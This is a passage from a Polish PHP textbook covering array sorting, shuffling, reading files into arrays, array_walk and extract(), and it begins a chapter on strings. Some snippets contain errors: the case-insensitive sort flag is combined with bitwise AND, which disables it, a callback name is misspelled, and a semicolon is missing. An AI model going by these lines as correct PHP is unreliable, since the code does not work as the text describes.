— ludzi — jest bardziej naturalna i intuicyjna.

Stała SORT_FLAG_CASE jest używana w połączeniu ze stałymi SORT_STRING oraz SORT_NATURAL.


Aby ją zastosować, należy posłużyć się operatorem koniunkcji bitowej (and), jak pokazano w poniż-
szym przykładzie:
sort($produkty, SORT_STRING & SORT_FLAG_CASE);

Użycie tej stałej sprawi, że funkcja sort() nie będzie uwzględniać wielkości liter, a zatem 'a'
oraz 'A' zostaną potraktowane jako ten sam znak.

Stosowanie funkcji asort() i ksort() do porządkowania tablic


W celu posortowania tablicy z kluczami opisowymi należy użyć innych funkcji porządkujących,
aby utrzymać razem klucze i wartości.

Poniższy kod tworzy tablicę zawierającą trzy produkty i związane z nimi ceny, a potem porządkuje
ją rosnąco według cen.
$ceny = array( 'Opony'=>100, 'Olej'=>10, 'Świece Zapłonowe'=>4 );
asort($ceny);

Funkcja asort() porządkuje tablicę według wartości każdego elementu. W powyższej tablicy
wartościami są ceny, a kluczami tekstowe opisy produktów. Aby zamiast według cen posortować
tablicę według opisów, należy zastosować funkcję ksort(), która porządkuje według kluczy, a nie
wartości. Poniższy kod da w efekcie tablicę posortowaną alfabetycznie — Olej, Opony, Świece
Zapłonowe.
$ceny = array( 'Opony'=>100, 'Olej'=>10, 'Świece Zapłonowe'=>4 );
ksort($ceny);
102 Część I  Stosowanie PHP

Sortowanie odwrotne
Trzy różne funkcje sortujące — sort(), asort() i ksort() — porządkują tablice rosnąco. Każda
z nich posiada odpowiadającą jej funkcję sortującą odwrotnie, w porządku malejącym. Są to odpo-
wiednio: rsort(), arsort() i krsort().

Funkcje sortujące odwrotnie są stosowane w ten sam sposób jak zwykłe funkcje sortujące rosnąco.
Funkcja rsort() porządkuje jednowymiarową tablicę indeksowaną numerycznie w porządku
malejącym. Funkcja arsort() sortuje jednowymiarową tablicę w porządku malejącym według
wartości każdego elementu. Funkcja krsort() porządkuje malejąco jednowymiarową tablicę według
klucza każdego elementu.

Sortowanie tablic wielowymiarowych


Bardziej skomplikowane jest porządkowanie tablic posiadających więcej niż jeden wymiar lub
też sortowanie ich w porządku innym niż alfabetyczny bądź numeryczny. PHP potrafi porównać
dwie liczby albo dwa łańcuchy znaków, ale w tablicy wielowymiarowej każdy element jest tablicą.
Istnieją dwie metody sortowania tablic wielowymiarowych: samodzielna implementacja sposobu
sortowania oraz wykorzystanie funkcji array_multisort().

Zastosowanie funkcji array_multisort()


Funkcji array_multisort() można używać bądź to do sortowania tablic wielowymiarowych, bądź
do sortowania wielu tablic w jednym wywołaniu.

Poniżej przedstawiona została definicja tablicy stosowanej już wcześniej. Przechowuje ona produkty
sprzedawane w firmie Janka — każdemu z nich przypisane są kod, opis i cena:
$produkty = array(array('OPO', 'Opony', 100 ),
array('OLE', 'Olej', 10 ),
array('SWI', 'Świece Zapłonowe', 4 ));

Jeśli funkcja array_multisort() zostanie wywołana w najprostszy, zaprezentowany poniżej sposób,


to posortuje ona tablicę $produkty. Powstaje jednak następujące pytanie: w jakiej kolejności tabli-
ca ta zostanie posortowana?
array_multisort($produkty);

Jak się okazuje, tablica $produkty zostanie posortowana na podstawie pierwszego elementu każdej
z tablic, z zastosowaniem zwyczajnego sortowania w kolejności rosnącej:
'OLE', 'Olej', 10
'OPO', 'Opony', 100
'SWI', 'Świece Zapłonowe', 4

Poniżej przedstawiona została pełna postać prototypu funkcji array_multisort():


bool array_multisort(array &a [, mixed kolejność = SORT_ASC
[, mixed typsortowania = SORT_REGULAR [, mixed $x...]]])

Parametr kolejność może przyjmować wartości SORT_ASC lub SORT_DESC, dzięki czemu możliwe
jest sortowanie w kolejności, odpowiednio, rosnącej i malejącej.
Z kolei parametr typsortowania może przyjmować takie same wartości jak w przypadku funkcji
sort().
Rozdział 3.  Stosowanie tablic 103

Należy zwrócić uwagę na to, że choć funkcja array_multisort() będzie zachowywać skojarzenia
klucz-wartość w przypadku kluczy łańcuchowych, to w przypadku kluczy numerycznych, takich
jak te w powyższym przykładzie, skojarzenia te nie będą zachowywane.

Typy sortowań definiowane przez użytkownika


Analizując tablicę z ostatniego przykładu można stwierdzić, że istnieją przynajmniej dwa sen-
sowne sposoby jej posortowania: sortowanie alfabetycznie, według opisu, lub numerycznie, we-
dług ceny. Oba wyniki są możliwe, lecz trzeba nakazać PHP porządkowanie według pożądanego
klucza za pomocą funkcji usort(). Aby to uczynić, należy napisać własną funkcję porównującą.
Poniższy kod sortuje tablicę w porządku alfabetycznym według drugiej kolumny tablicy — opisu
produktu.
function porownaj($x, $y) {
if ($x[1] == $y[1]) {
return 0;
} else if ($x[1] < $y[1]) {
return –1;
} else {
return 1;
}
}

usort($produkty, 'porownaj');

Dotychczas w tej książce stosowane były wyłącznie funkcje wbudowane w PHP. Oprócz nich
została zdefiniowana osobna funkcja — ma ona za zadanie uporządkować powyższą tablicę.
Tworzenie funkcji przedstawimy dokładnie w rozdziale 5., tymczasem poniżej znajduje się krótkie
wprowadzenie.
Funkcje definiuje się za pomocą słowa kluczowego function. Należy im nadać nazwę, która
powinna być znacząca, tak więc powyższa funkcja nosi na przykład nazwę porownaj(). Wiele
funkcji używa parametrów lub argumentów. Funkcja porownaj() pobiera dwa argumenty — jeden
nazwany został $x, a drugi $y. Celem tej funkcji jest pobranie dwóch wartości i określenie ich
porządku.
W tym przykładzie parametry x i y są dwiema z tablic zawartych w głównej tablicy; każda z nich
opisuje jeden produkt. Aby uzyskać dostęp do pola Opis tablicy $x, należy wprowadzić $x[1],
ponieważ Opis jest drugim w kolejności elementem tych tablic, a numerowanie zaczyna się od
zera. Wyrażenia $x[1] i $y[1] stosuje się do porównania pól Opis w tablicach przekazanych
funkcji.
Kiedy funkcja kończy swoje działanie, może dać odpowiedź wyrażeniu, które ją wywołało. Dzia-
łanie to nazywa się zwracaniem wartości. Aby zwrócić wartość, należy zastosować w funkcji
słowo kluczowe return. Na przykład wiersz return 1; wysyła do kodu wywołującego funkcję
wartość 1.
Aby być użyta przez funkcję usort(), funkcja porownaj() musi porównać $x i $y. Zwraca war-
tość 0, jeżeli $x jest równe $y, liczbę ujemną, jeżeli $x jest mniejsze, a dodatnią, jeżeli większe.
Powyższa funkcja zwróci 0, 1 lub –1, zależnie od wartości $x i $y.
Ostatni wiersz powyższego kodu wywołuje wbudowaną funkcję usort() z tablicą, która ma zostać
uporządkowana ($produkty), i z nazwą funkcji porównującej (porownaj()).
104 Część I  Stosowanie PHP

Jeżeli tablica ma zostać uporządkowana według odmiennego klucza, należy po prostu napisać
inną funkcję porównującą. Aby sortować według ceny, należy wziąć pod uwagę trzecią kolumnę
tablicy i utworzyć następującą funkcję porównującą:
function porownaj($x, $y) {
if ($x[2] == $y[2]) {
return 0;
} else if ($x[2] < $y[2]) {
return –1;
} else {
return 1;
}
}

Po wywołaniu funkcji usort($produkty, 'porownaj') tablica zostanie uporządkowana według ceny,


w porządku rosnącym.
Testowe uruchomienie przedstawionych fragmentów kodu nie da żadnych widocznych
wyników. Prezentowane fragmenty są pomyślane jako fragmenty większych skryptów,
które można napisać samodzielnie.

Znak u w nazwie funkcji usort() znaczy użytkownik (user), ponieważ funkcja ta wymaga zdefi-
niowanej przez użytkownika funkcji porównującej. Podobnie dzieje się w wypadku funkcji
uasort() i uksort() — wersje asort() i ksort().

Tak jak asort(), funkcja uasort() powinna być używana do porządkowania tablic nienumerycznych
według wartości. Należy zastosować funkcję asort(), jeżeli wartości są zwykłymi liczbami
lub wartościami tekstowymi. Jeśli są obiektami bardziej skomplikowanymi, np. tablicami, trzeba
zdefiniować własną funkcję porównującą i zastosować uasort().
Podobnie jak ksort(), funkcja uksort() powinna być wykorzystywana do porządkowania tablic
nienumerycznych według kluczy. Należy zastosować funkcję ksort(), jeżeli klucze są zwykłymi
liczbami lub wartościami tekstowymi. Jeśli chcemy posortować tablicę według kluczy, uwzględniając
kryteria, których nie obsługują standardowe funkcje sortujące, należy zdefiniować własną funkcję
porównującą i zastosować uksort() (klucze tablic PHP mogą być typu integer lub string).

Odwrotne sortowanie zdefiniowane przez użytkownika


Funkcje sort(), asort() i ksort() posiadają funkcje sortujące odwrotnie, których nazwy rozpo-
czynają się od r. Funkcje porządkujące zdefiniowanie przez użytkownika nie posiadają wariantów
odwróconych, ale możliwe jest uporządkowanie tablicy wielowymiarowej w odwrotnym porządku.
Ponieważ trzeba napisać funkcję porównującą, należy skonstruować ją tak, aby zwracała odwrotne
wartości. Aby porządkować w odwrotnej kolejności, funkcja ta musi zwracać 1, jeżeli $x jest
mniejsze od $y, a –1, jeżeli jest większe. Na przykład:
function odwroc_porownaj($x, $y) {
if ($x[2] == $y[2]) {
return 0;
} else if ($x[2] < $y[2]) {
return 1;
} else {
return -1;
}
}

Wynikiem wywołania funkcji usort($produkty, 'odwróć_porownaj') jest tablica uporządkowana


malejąco według ceny produktów.
Rozdział 3.  Stosowanie tablic 105

Zmiany kolejności elementów w tablicach


W niektórych aplikacjach konieczna jest manipulacja kolejnością elementów tablicy w inny sposób.
Funkcja shuffle() ustawia losowo kolejność elementów tablicy. Funkcja array_reverse()
zwraca kopię tablicy z wszystkimi elementami w odwrotnej kolejności.

Stosowanie funkcji shuffle()


Janek zamierza przedstawiać niewielką liczbę produktów na powitalnej stronie swojego sklepu.
Posiada on duży wybór towarów, lecz chciałby, aby klientom były prezentowane trzy wybrane
losowo produkty, za każdym razem inne. Zależy mu bowiem na tym, aby zachować stałych
klientów. Łatwo ten plan urzeczywistnić, jeżeli wszystkie produkty firmy zostaną umieszczone
w tablicy. Listing 3.1 przedstawia trzy obrazki, wybrane losowo poprzez zmianę kolejności ob-
razków w tablicy i wyświetlenie trzech pierwszych.

Listing 3.1. strona_powitalna_Janka.php — zastosowanie PHP do stworzenia dynamicznej strony powitalnej


dla „Części samochodowych Janka”
<?php
$obrazki = array('hamulec.png', 'raflektor.png',
'swieca.png', 'kierownica.png',
'opona.png', 'wycieraczka.png');

shuffle($obrazki);
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<title>Części samochodowe Janka</title>
</head>
<body>
<h1>Części samochodowe Janka</h1>
<div align="center">
<table style="width: 100%; border: 0">
<tr>
<?php
for ($i = 0; $i < 3; $i++) {
echo "<td style=\"width: 33%; text-align: center\">
<img src=\"";
echo $obrazki[$i];
echo "\"/></td>";
}
?>
</tr>
</table>
</div>
</body>
</html>

Ponieważ kod wybiera obrazki losowo, tworzy inną stronę prawie za każdym jej załadowaniem,
jak przedstawiono na rysunku 3.5.
106 Część I  Stosowanie PHP

Rysunek 3.5.
Funkcja shuffle()
pozwala na wyświetlenie
obrazu trzech losowo
wybranych produktów

Odwracanie kolejności elementów w tablicy


Czasami może się zdarzyć, że konieczne będzie odwrócenie kolejności elementów tablicy. Najprost-
szym sposobem wykonania takiej operacji jest użycie funkcji array_reverse(), która pobiera tablicę
i tworzy nową o tych samych elementach, lecz umieszczonych w odwrotnej kolejności.

Zastosowanie funkcji range() powoduje zazwyczaj utworzenie sekwencji liczb zapisanych w ko-
lejności rosnącej:
$liczby = range(1,10);

W takim przypadku można użyć funkcji array_reverse() do odwrócenia kolejności elementów


w tablicy zwróconej przez funkcję range():
$liczby = range(1,10);
$liczby = array_reverse($liczby);

Warto zauważyć, że funkcja array_reverse() zwraca zmodyfikowaną kopię przekazanej tablicy.


Jeśli początkowa tablica nie jest już potrzebna, tak jak w powyższym przykładzie, to wystarczy
zapisać nową tablicę w tej samej zmiennej.

Alternatywnie, można stworzyć tablicę element po elemencie poprzez napisanie pętli for:
$liczby = array();
for($i=10; $i>0; $i--) {
array_push($liczby, $i);
}

Pętla for może działać w powyższy sposób, pomniejszając elementy. W tym celu należy ustawić
wysoką wartość początkową, po czym zastosować operator --, aby za każdym razem zmniejszać
licznik o jeden.

Powyżej została utworzona pusta tablica, po czym dla każdego elementu zastosowano funkcję
array_push(), która dodaje element na końcu tablicy. Nawiasem mówiąc, przeciwieństwem funkcji
array_push() jest array_pop(). Funkcja ta usuwa i zwraca ostatni element tablicy.

Warto zwrócić uwagę na to, że jeżeli tablica, którą należy utworzyć, ma zawierać ciąg liczb zapisa-
nych w kolejności malejącej, to można ją utworzyć, przekazując do funkcji range() opcjonalny,
trzeci parametr o wartości –1:
$liczby = range(10, 1, -1);
Rozdział 3.  Stosowanie tablic 107

Wczytywanie tablic z plików


W rozdziale 2. dowiedzieliśmy się, jak zapisuje się w pliku zamówienia klientów. Każdy wiersz
tego pliku przypominał następujący:
19:49, 4th December 2016 4 opon 1 butelek oleju 6 świec zapłonowych 434.00PLN ul. Główna 33, Gliwice

Aby przetworzyć lub wypełnić zamówienie, można wczytać je do tablicy. Listing 3.2 wyświetla
aktualny plik zamówień.

Listing 3.2. zobaczzmowienia.php — Zastosowanie PHP do wyświetlenia zamówień Janka


<?php
// utworzenie krótkich nazw zmiennych
$document_root = $_SERVER['DOCUMENT_ROOT'];
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<title>Części samochodowe Janka - Zamówienia klientów</title>
</head>
<body>
<h1>Części samochodowe Janka</h1>
<h2>Zamówienia klientów</h2>
<?php
$orders= file("$document_root/../zamowienia/zamowienia.txt");

$number_of_orders = count($orders);
if ($number_of_orders == 0) {
echo "<p><strong>Brak zamówień.<br />
Proszę spróbować później.</strong></p>";
}

for ($i=0; $i<$number_of_orders; $i++) {


echo $orders[$i]."<br />";
}
?>
</body>
</html>

Powyższy skrypt daje rezultat identyczny do listingu 2.3 z poprzedniego rozdziału, przedstawionego
na rysunku 2.4. Tym razem zastosowano funkcję file(), która wczytuje cały plik do tablicy.
Każdy wiersz pliku staje się jednym elementem tablicy. Powyższy kod stosuje również funkcję
count(), aby sprawdzić liczbę elementów w tablicy.

Co więcej, można wczytać każdą część wiersza zamówienia do osobnego elementu tablicy, aby
przetwarzać poszczególne części osobno lub sformatować je w bardziej atrakcyjny sposób. Dzia-
łania te wykonuje na przykład listing 3.3.

Listing 3.3. zobaczamowienia_v2.php — zastosowanie PHP do dzielenia, formatowania i wyświetlania


zamówień Janka
<?php
// utworzenie krótkich nazw zmiennych
$document_root = $_SERVER['DOCUMENT_ROOT'];
?>
<!DOCTYPE html>
<html>
108 Część I  Stosowanie PHP

<head>
<title>Części samochodowe Janka - Zamówienia klientów</title>

<style type="text/css">
table, th, td {
border-collapse: collapse;
border: 1px solid black;
padding: 6px;
}

th {
background: #ccccff;
}
</style>

</head>
<body>
<h1>Części samochodowe Janka</h1>
<h2>Zamówienia klientów</h2>

<?php
// Odczytanie całego pliku
// Każde zamówienie staje się elementem tablicy
$zamowienia= file("$document_root/../zamowienia/zamowienia.txt");

// Odczytanie liczby elementów w tablicy


$ilosc_zamowien = count($zamowienia);

if ($ilosc_zamowien == 0) {
echo "<p><strong>Brak zamówień.<br />
Proszę spróbować później.</strong></p>";
}

echo "<table>\n";
echo "<tr>
<th>Data zmówienia</th>
<th>Opony</th>
<th>Olej</th>
<th>Świece zapłonowe</th>
<th>Suma</th>
<th>Adres</th>
<tr>";

for ($i=0; $i<$ilosc_zamowien; $i++) {


// Rozdzielenie każdego wiersza na elementy
$linia = explode("\t", $zamowienia[$i]);

// Zapamiętanie wyłącznie liczby zamówionych produktów


$linia[1] = intval($linia[1]);
$linia[2] = intval($linia[2]);
$linia[3] = intval($linia[3]);

// Wyświetlenie każdego zamówienia


echo "<tr>
<td>".$linia[0]."</td>
<td style=\"text-align: right;\">".$linia[1]."</td>
<td style=\"text-align: right;\">".$linia[2]."</td>
<td style=\"text-align: right;\">".$linia[3]."</td>
<td style=\"text-align: right;\">".$linia[4]."</td>
<td>".$linia[5]."</td>
</tr>";
}
Rozdział 3.  Stosowanie tablic 109

echo "</table>";
?>
</body>
</html>

Kod zawarty w listingu 3.3 wczytuje cały plik do tablicy, lecz w tym przypadku, inaczej niż w listin-
gu 3.2, zastosowana została funkcja explode(), która dzieli wiersz na poszczególne pola. Pozwala to
na przetworzenie i sformatowanie danych przed wyświetleniem. Wynik działania powyższego
skryptu został przedstawiony na rysunku 3.6.

Rysunek 3.6.
Po rozbiciu zamówień
funkcją explode() każda
część zamówienia może
zostać umieszczona
w osobnej komórce
tablicy, aby dać bardziej
uporządkowany wynik

Funkcja explode() posiada następujący prototyp:


array explode(string separator, string ciag [, int limit])

W poprzednim rozdziale do oddzielania od siebie danych został zastosowany znak tabulacji,


a zatem i teraz można postąpić podobnie:
$wiersz = explode( "\t", $zamowienia[$i] );

Powyższe wywołanie „rozbija” na części przekazany mu łańcuch znaków. Każdy znak tabulacji
staje się przerwą pomiędzy dwoma elementami. Na przykład łańcuch:
"19:49, 4th December 2016\t4 opon\t1 butelek oleju\t6 świec zapłonowych\
t434.00PLN\tul. Główna 33, Gliwice"

zostaje podzielony na następujące części: "19:49, 4th December 2016", "4 opon", "1 butelek
oleju", "6 świec zapłonowych", "434.00PLN", "ul. Główna 33, Gliwice". Należy zwrócić uwagę,
że opcjonalny argument limit może być zastosowany do ograniczenia maksymalnej liczby zwra-
canych części.

W przykładzie tym nie została wykonana duża ilość przetwarzania. Jedynie zamiast wyświetlania
w każdej linii opon, oleju i świec zapłonowych pokazywana jest tylko ilość każdego z tych elemen-
tów oraz dodany został dodatkowy rząd nagłówkowy podający znaczenie liczb.

Istnieje kilka sposobów wyciągania liczb z łańcuchów znaków. W powyższym przykładzie zasto-
sowana została funkcja intval(). Jak wspomnieliśmy w rozdziale 1., funkcja intval() zmienia typ
string w typ integer. Konwersja przebiega dość inteligentnie i w związku z tym ignoruje takie
części, jak opis w powyższym przykładzie (nie mogą być one zamienione na format integer).
Różne sposoby manipulacji łańcuchami znaków zostaną przedstawione w następnym rozdziale.
110 Część I  Stosowanie PHP

Wykonywanie innych działań na tablicach


Powyżej przedstawiliśmy jedynie mniej więcej połowę funkcji przetwarzających tablice. Jednak
wiele innych okaże się pomocnych przy różnych działaniach; o niektórych z nich powiemy za
chwilę.

Poruszanie się wewnątrz tablicy — funkcje each(),


current(), reset(), end(), next(), pos() i prev()
Jak wspomniano powyżej, każda tablica posiada wewnętrzny wskaźnik pokazujący aktualny ele-
ment tablicy. Został on poprzednio pośrednio zastosowany przy wywoływaniu funkcji each(),
jednak można używać go i manipulować nim bezpośrednio.

Jeżeli tworzona jest nowa tablica, aktualny wskaźnik jest inicjowany w ten sposób, że wskazuje
pierwszy element tablicy. Wywołanie funkcji current($nazwa_tablicy) zwraca pierwszy element.

Wywołanie funkcji next() lub each() przesuwa wskaźnik o jeden element do przodu. Wywołanie
each($nazwa_tablicy) zwraca aktualny element przed przeskokiem do następnego. Funkcja next()
działa nieco inaczej — wywołanie next($nazwa_tablicy) przesuwa wskaźnik, po czym zwraca
nowy element aktualny.

Powyżej pokazane zostało, że funkcja reset() przesuwa wskaźnik do pierwszego elementu tablicy;
podobnie wywołanie end($nazwa_tablicy) przesuwa wskaźnik na koniec tablicy. Funkcje te zwracają
odpowiednio pierwszy i ostatni element tablicy.

Aby poruszać się po tablicy w odwrotnej kolejności, można zastosować end() i prev().
Funkcja prev() jest przeciwieństwem next(). Przesuwa ona wskaźnik o jeden element wstecz,
po czym zwraca nowy aktualny element.

Na przykład następujący kod wyświetla tablicę w odwrotnym porządku:


$wartosc = end ($tablica);
while ($wartosc) {
echo "$wartosc<br />";
$wartosc = prev ($tablica);
}

Tablicę $tablica można zadeklarować w poniższy sposób:


$tablica = array(1, 2, 3);

Wówczas wynik wyświetlony przez przeglądarkę powinien być następujący:


3
2
1

Stosując funkcje each(), current(), reset(), end(), next(), pos() i prev(), można napisać własny
kod poruszający się po tablicy w dowolny sposób.
Rozdział 3.  Stosowanie tablic 111

Dołączanie dowolnej funkcji do każdego elementu tablicy


— funkcja array_walk()
Istnieją sytuacje wymagające modyfikacji każdego elementu tablicy w ten sam sposób. Pozwala
na to funkcja array_walk(). Prototyp array_walk() jest następujący:
bool array_walk(array tablica, string funkcja, [mixed dane_uzytkownika])

Podobnie jak wyżej opisana funkcja usort(), array_walk() spodziewa się przekazania funkcji
zdeklarowanej przez użytkownika. Funkcja array_walk pobiera trzy parametry. Pierwszym
z nich jest tablica, która ma zostać przetworzona. Drugi to nazwa zdefiniowanej przez użyt-
kownika funkcji, która zostanie zastosowana do każdego elementu tablicy. Trzeci parametr,
dane_uzytkownika, jest opcjonalny. Zastosowanie go przekazuje jego wartość jako parametr zdefi-
niowanej funkcji. Poniżej przedstawiono zasady jej działania.

Na przykład zdefiniowaną przez użytkownika podręczną funkcją może być funkcja wyświetlająca
każdy element w określonym jednym formacie. Poniższy kod wyświetla każdy element w nowym
wierszu, wywołując zdefiniowaną przez użytkownika funkcję moj_drukuj() przy każdym elemencie
tablicy $tablica.
function moj_drukuj($wartosc) {
echo "$wartosc<br />";
}
array_walk($tablica, 'moj_drukuj');

Funkcja zdefiniowana przez użytkownika musi posiadać określoną charakterystyczną konstrukcję.


Dla każdego elementu tablicy array_walk() pobiera klucz i wartość przechowywaną w tablicy
oraz wartość parametru użytkownika przekazanego funkcji array_walk(), po czym wywołuje
funkcję w poniższy sposób:
Mojafunkcja(wartosc, klucz, dane)

W większości przypadków funkcje zdefiniowane przez użytkownika ograniczają się jedynie do


pracy z wartościami zawartymi w tablicy. W niektórych trzeba przekazać im pewien atrybut za
pomocą parametru dane_uzytkownika. Czasami oprócz pracy z zawartością tabeli konieczne są
również operacje na jej kluczach. Funkcja zdefiniowana przez użytkownika, taka jak moj_drukuj(),
może jednak ignorować zarówno klucz, jak i parametr dane_uzytkownika.

Poniżej podano bardziej skomplikowany przykład — przedstawiona została funkcja modyfikująca


wartości tablicy i wymagająca parametru. Warto zauważyć, że chociaż klucz nie jest bezpośrednio
potrzebny do działań tej funkcji, należało go umieścić w definicji, aby możliwe było zdefiniowanie
trzeciego, opcjonalnego parametru.
function moje_mnozenie(&$wartosc, $klucz, $wspolczynnik) {
$wartosc *= $wspolczynnik
}
array_walk($tablica, 'moje_mnozenie', 3);

W powyższym przykładzie zdefiniowana została funkcja moje_mnozenie(), która mnoży każdy


element tablicy przez podany współczynnik. Konieczne było tu wprowadzenie opcjonalnego trze-
ciego parametru, aby funkcja array_walk() mogła go pobrać, przekazać funkcji zdefiniowanej
i zastosować jako współczynnik mnożenia. Ponieważ parametr ten jest konieczny, trzeba zdefinio-
wać funkcję mojeMnozenie() za pomocą trzech parametrów — wartość elementu tablicy ($wartosc),
klucz elementu tablicy ($klucz) oraz parametr ($wspolczynnik). W powyższym przykładzie klucz
został zignorowany.
112 Część I  Stosowanie PHP

Należy również zauważyć pewien subtelny punkt powyższego kodu, to znaczy sposób przeka-
zywania wartości $wartosc. Symbol & przed nazwą zmiennej w definicji funkcji mojeMnozenie()
oznacza, że $wartość zostanie przekazana przez referencję. Przekazanie przez referencję pozwala
funkcji na modyfikację zawartości tablicy.

Przekazywanie przez referencję zostanie opisane dokładnie w rozdziale 5. Czytelnicy nieznający


tego terminu powinni na razie zapamiętać, że aby przekazać zmienną przez referencję, należy
umieścić & przed nazwą zmiennej w deklaracji funkcji.

Liczenie elementów tablicy: count(), sizeof() i array_count_values()


W jednym z poprzednich przykładów funkcja count() została zastosowana do obliczenia liczby
elementów tablicy. Funkcja sizeof() jest nazwą zastępczą funkcji count(). Obie te funkcje zwracają
liczbę elementów przekazanej im tablicy. Wynik zostanie przekazany w formie zwyczajnej zmiennej
skalarnej. Jeżeli zaś przekazana zostanie tablica pusta lub nie będzie ustawiona nazwa zmiennej,
wynikiem będzie 0.

Funkcja array_count_values() jest bardziej złożona. Przy wywołaniu array_count_values


($tablica) oblicza ona, ile niepowtarzalnych wartości występuje w tablicy $tablica. Funkcja
zwraca tablicę asocjacyjną zawierającą tabelę częstości. W tablicy tej kluczami są wszystkie poje-
dyncze wartości. Każdy z kluczy posiada wartość numeryczną zawierającą liczbę powtórzeń kon-
kretnej wartości.

Na przykład następujący kod:


$tablica = array(4, 5, 1, 2, 3, 1, 2, 1);
$lt = array_count_values($tablica)

tworzy tabelę o nazwie $lt zawierającą:

Klucz Wartość
4 1

5 1

1 3

2 2

3 1

Powyższa tabela pozwala stwierdzić, że wartości 4, 5 i 3 wystąpiły w tablicy $tablica raz, 1 — trzy
razy, a 2 — dwukrotnie.

Konwersja tablic na zmienne skalarne — funkcja extract()


Tablicę nienumeryczną posiadającą kilka par klucz – wartość można zamienić na zbiór wartości
skalarnych, stosując funkcję extract(). Prototyp funkcji extract() jest następujący:
extract (array nazwa_tablicy [, int typ_ekstrakcji] [, string przedrostek]);

Przeznaczeniem funkcji extract() jest pobranie tablicy i stworzenie wartości skalarnych o nazwach,
takich jak klucze tablicy. Wartości tych zmiennych zostają nadane według wartości tablicy.
Rozdział 3.  Stosowanie tablic 113

Poniżej przedstawiono prosty przykład:


$tablica = array( 'klucz1' => 'wartosc1', 'klucz2' => 'wartosc2', 'klucz3' => 'wartosc3');
extract($tablica);
echo "$klucz1 $klucz2 $klucz3";

Kod ten daje w rezultacie następujący wynik:


wartosc1 wartosc2 wartosc3

Powyższa tablica posiadała trzy elementy o kluczach: klucz1, klucz2 i klucz3. Po użyciu funkcji
extract() utworzone zostały trzy zmienne: $klucz1, $klucz2 i $klucz3. Powyższy listing pokazu-
je, że wartości zmiennych $klucz1, $klucz2 i $klucz3 to odpowiednio: 'wartosc1', 'wartosc2'
i 'wartosc3'. Wartości te zostały przeniesione z pierwotnej tablicy.

Funkcja extract() posiada dwa parametry opcjonalne: typ_ekstrakcji i przedrostek. Zmienna


typ_ekstrakcji określa sposób postępowania z kolizjami. Są przypadki, w których okazuje się,
że istnieje już zmienna o nazwie takiej jak klucz. Domyślną akcją jest nadpisanie istniejącej zmien-
nej. Tabela 3.2 przedstawia dopuszczalne wartości parametru typ_ekstrakcji.

Tabela 3.2. Dopuszczalne wartości parametru typ_ekstrakcji dla funkcji extract()

Typ Znaczenie
EXTR_OVERWRITE W wypadku kolizji nadpisanie istniejącej zmiennej
EXTR_SKIP W wypadku kolizji ominięcie elementu
EXTR_PREFIX_SAME W wypadku kolizji utworzenie zmiennej $przedrostek_klucz. Musi zostać podana
wartość parametru przedrostek
EXTR_PREFIX_ALL Przed wszystkimi nazwami zmiennych zostaje umieszczony przedrostek.
Musi zostać podana wartość parametru przedrostek
EXTR_PREFIX_INVALID Poprzedza prefiksem przedrostek nazwy zmiennych, które w przeciwnym
wypadku byłyby nieprawidłowe (na przykład zmienne o nazwach będących liczbami).
Przedrostek musi być podany

EXTR_IF_EXISTS Wyodrębnia tylko te zmienne, które już istnieją (tzn. wypełnia istniejące
zmienne wartościami z tablicy). Funkcja jest przydatna na przykład do
przekształcania $_REQUEST w zbiór poprawnych zmiennych
EXTR_PREFIX_IF_EXISTS Tworzy tylko wersję z przedrostkiem, jeśli istnieje już wersja bez przedrostka.
EXTR_REFS Wyodrębnia zmienne jako odwołania.

Dwie najbardziej przydatne opcje to opcja domyślna (EXTR_OVERWRITE) i EXTR_PREFIX_ALL. Pozostałe


dwie mogą okazać się przydatne od czasu do czasu, kiedy wiadomo, że dana kolizja nastąpi i należy
jej uniknąć przez ominięcie elementu lub dodanie do niego przedrostka. Poniżej przedstawiono
prosty przykład z zastosowaniem opcji EXTR_PREFIX_ALL. Należy zauważyć, że utworzone zmienne
posiadają nazwy w formacie przedrostek-znak podkreślenia-klucz.
$tablica = array( 'klucz1' => 'wartosc1', 'klucz2' => 'wartosc2', 'klucz3' => 'wartosc3');
extract($tablica, EXTR_PREFIX_ALL, 'moj_przedrostek');
echo "$moj_przedrostek_klucz1 $moj_przedrostek_klucz2 $moj_przedrostek_klucz3";

Powyższy kod również da następujący wynik:


wartosc1 wartosc2 wartosc3.
114 Część I  Stosowanie PHP

Należy zauważyć, że aby funkcja extract() mogła dokonać ekstrakcji elementu, jego klucz musi
być zgodną z wymaganiami nazwą zmiennej. Oznacza to, że klucze rozpoczynające się od cyfr bądź
zawierające spacje zostaną ominięte.

Propozycje dalszych lektur


W tym rozdziale nie ma opisu wszystkich funkcji tablicowych PHP. Omówiliśmy tu tylko najbar-
dziej użyteczne funkcje, gdyż wszystkich funkcji tablicowych jest bardzo wiele. Zwięzły opis
wszystkich tych funkcji jest zawarty w elektronicznym podręczniku PHP, dostępnym pod adresem
http://www.php.net/array.

W następnym rozdziale
Kolejny rozdział zawiera opis funkcji przetwarzających łańcuchy znaków. Przedstawione zostaną
również funkcje wyszukujące, zamieniające, dzielące i łączące ciągi, a także efektywne funkcje
wyrażeń regularnych, które potrafią przeprowadzić niemal każde działanie na ciągach.
Rozdział 4.
Manipulowanie łańcuchami
znaków i wyrażenia regularne
W tym rozdziale omówimy sposoby manipulowania tekstem i formatowania go za pomocą funkcji
służących do obsługi łańcuchów znaków dostępnych w PHP. Przedstawimy w nim również sposób
zastosowania tych funkcji i wyrażeń regularnych do wyszukiwania (i zamiany) słów, fraz i innych
fragmentów łańcuchów.

Funkcje te znajdują wiele zastosowań. Często koniecznie jest oczyszczenie lub przeformatowanie
danych wpisanych przez użytkownika, które mają zostać umieszczone w bazie danych. Funkcje
wyszukujące są m.in. niezwykle przydatne do tworzenia mechanizmów aplikacji wyszukujących.

W tym rozdziale zostaną poruszone następujące zagadnienia:


 formatowanie łańcuchów znaków,
 łączenie i rozdzielanie łańcuchów znaków,
 porównywanie łańcuchów,
 dopasowywanie i zamiana fragmentów łańcuchów znaków przy użyciu dostępnych funkcji,
 stosowanie wyrażeń regularnych.

Przykładowa aplikacja
— Inteligentny Formularz Pocztowy
W tym rozdziale funkcje do obsługi łańcuchów znaków i wyrażeń regularnych będą rozpatrywane
w kontekście aplikacji Inteligentnego Formularza Pocztowego. Skrypty te zostaną dodane do opi-
sywanej w poprzednich rozdziałach strony „Części samochodowych Janka”.

Tym razem utworzony zostanie bezpośredni i często stosowany formularz komentarzy klientów,
